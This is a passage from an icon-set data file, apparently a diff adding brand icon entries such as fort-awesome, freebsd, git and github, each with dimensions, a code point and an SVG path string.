92.2-34.3-95.5q-5.4-15.7-22.7-15.7c-6.8 0-12.3 2.4-17.5 7.3-5.2 5.2-10.8 14.5-4.8 28.6l55.8 145.8c4 11.3 11.6 16.9 23.1 16.9q16.7 0 22.7-16.9l33.5-91.8 33.5 91.8q6 16.9 22.7 16.9c11.2 0 19.1-5.6 23.1-16.9l55.8-145.8c3.6-9.3 4.4-19.3-4.8-28.6A23 23 0 0 0 2550.2 156.5Zm444.2 81-21.9-9.3c-11.9-4.8-16.3-8.5-16.3-15.7q0-12.1 16.7-12.1c12.7 0 19.5 7.7 24.3 10.9 7.2 5.2 18.3 6.8 27.9-2 10.8-10.5 6.8-23.8 1.2-30.6-12.3-14.9-30.3-22.2-53.8-22.2-19.1 0-35.1 5.2-47.4 15.7-12.3 10.5-18.7 24.2-18.7 41.1 0 24.2 15.9 43.5 47.8 57.6l19.5 8.9c15.9 6.8 19.1 9.7 19.1 17.7 0 9.3-6.4 14.1-19.5 14.1-19.1 0-34.7-14.9-36.3-16.1-10.8-7.3-21.5-2-26.3 2.8-6.8 6.4-12.7 20.9 3.2 36.2 6.8 6.4 15.5 11.7 26.7 15.3a94.6 94.6 0 0 0 32.7 5.6c19.9 0 36.7-5.2 49.8-16.1 13.1-10.9 19.5-25.4 19.5-43.5q0-20.5-12-33.8C3022.7 253.2 3010.7 244.3 2994.4 237.5Zm-206.4 68.9h-65.7V272.9h39.4c12 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.7 0 22.7-9.3 22.7-22.6C2810.8 311.2 2795.2 306.3 2788 306.3ZM178.3 49.1c-50.5 0-74.4 20.7-114.6 28.7V65A31.8 31.8 0 1 0 0 65V447a31.8 31.8 0 0 0 63.7 0V141.4c40.2-8 64.1-28.7 114.6-28.7 62.5 0 86 31.8 148.4 31.8 20.3 0 35.4-2.8 55.3-9.2v191c-19.9 6.4-35 9.2-55.3 9.2-62.5 0-86.4-31.8-148.4-31.8-20.3 0-36.2 3.6-50.9 8V375.4a159.1 159.1 0 0 1 50.9-8c62.5 0 86 31.8 148.4 31.8 37 0 56.1-9.6 119-31.8V49.1C382.8 71.4 363.7 80.9 326.7 80.9 264.2 80.9 240.4 49.1 178.3 49.1Z"], + "fonticons": [448, 512, [], "f280", "M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z"], + "fonticons-fi": [384, 512, [], "f3a2", "M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z"], + "fort-awesome": [512, 512, [], "f286", "M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z"], + "fort-awesome-alt": [512, 512, [], "f3a3", "M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z"], + "forumbee": [448, 512, [], "f211", "M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z"], + "foursquare": [368, 512, [], "f180", "M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z"], + "free-code-camp": [576, 512, [], "f2c5", "M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z"], + "freebsd": [448, 512, [], "f3a4", "M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z"], + "fulcrum": [320, 512, [], "f50b", "M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z"], + "galactic-republic": [496, 512, [], "f50c", "M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z"], + "galactic-senate": [512, 512, [], "f50d", "M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z"], + "get-pocket": [448, 512, [], "f265", "M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z"], + "gg": [512, 512, [], "f260", "M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z"], + "gg-circle": [512, 512, [], "f261", "M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z"], + "git": [512, 512, [], "f1d3", "M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z"], + "git-alt": [448, 512, [], "f841", "M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"], + "git-square": [448, 512, [], "f1d2", "M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z"], + "github": [496, 512, [], "f09b", "M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 